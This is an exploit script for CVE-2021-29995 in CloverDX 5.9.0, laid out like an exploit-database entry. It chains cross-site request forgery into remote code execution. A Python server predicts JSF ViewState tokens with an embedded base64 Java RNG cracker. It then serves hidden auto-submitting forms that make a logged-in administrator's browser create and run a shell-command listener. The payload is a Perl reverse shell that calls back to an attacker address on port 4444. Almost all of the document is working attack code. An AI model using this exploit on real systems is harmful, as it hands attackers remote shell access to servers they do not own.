1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 |
# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE) # Date: 14.04.2021 # Exploit Author: niebardzo # Vendor Homepage: https://www.cloverdx.com/ # Software Link: https://github.com/cloverdx/cloverdx-server-docker # Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x # Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker # CVE : CVE-2021-29995 # Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX # Victim authenticated to CloverDX and the java to run the ViewStateCracker.java. # Reference for cracking ViewState: # https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html # https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # import http.server import socketserver import requests from urllib.parse import urlparse from urllib.parse import parse_qs from bs4 import BeautifulSoup import subprocess import sys import json class ExploitHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() # replace with your own target target = "http://localhost:8080" query_comp = parse_qs(urlparse(self.path).query) if "target" in query_comp: target = query_comp["target"][0] req = requests.get(target+"/clover/gui/login.jsf") if req.status_code != 200: sys.exit(-1) # parse the reponse retrieve the ViewState soup = BeautifulSoup(req.text, "html.parser") cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"] # Use the ViewstateCracker.java to get new Viewstate. new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state]) new_view_state = new_view_state.decode("utf-8").strip() print(new_view_state) if new_view_state == "6927638971750518694:6717304323717288036": html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>" + "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>") else: html = ("<!DOCTYPE html><html><head>" + "<script>" + "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}" + "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}" + "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}" + "function exec4(){document.getElementById('form4').submit();}" + "</script>" + "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>" + "<script>history.pushState('','/');</script>" + "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='headerForm:manualListenerItem' name='javax.faces.source'>" + "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" + "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" + "<input type='hidden' value='headerForm:manualListenerItem' name='headerForm:manualListenerItem'>" + "<input type='hidden' value='headerForm' name='headerForm'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.source'>" + "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.partial.execute'>" + "<input type='hidden' value='manualListeneForm:taskFormFragment' name='javax.faces.partial.render'>" + "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>" + "<input type='hidden' value='change' name='javax.faces.partial.event'>" + "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" + "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>" + "<input type='hidden' value='on' name='manualListeneForm:saveRunRecord_input'>" + "<input type='hidden' value='true' name='manualListeneForm:manualVariablesList_collapsed'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" + "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" + "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" + "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm:execute_button'>" + "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" + "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propName'>" + "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propValue'>" + "<input type='hidden' value='' name='manualListeneForm:taskType_focus'>" + "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>" # # Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode. # + "<input type='hidden' value='perl -e 'use Socket;$i="192.168.65.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'' name='manualListeneForm:shellEditor'>" + "<input type='hidden' value='' name='manualListeneForm:workingDirectory'>" + "<input type='hidden' value='10000' name='manualListeneForm:timeout'>" + "<input type='hidden' value='true' name='manualListeneForm:scriptVariablesList_collapsed'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>" + "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "</body></html>") self.wfile.write(bytes(html,"utf-8")) base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg==" # # This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # with open("ViewstateCracker.java","w") as f: f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8')) exploit_handler = ExploitHandler PORT = 6010 exploit_server = socketserver.TCPServer(("", PORT), exploit_handler) exploit_server.serve_forever() |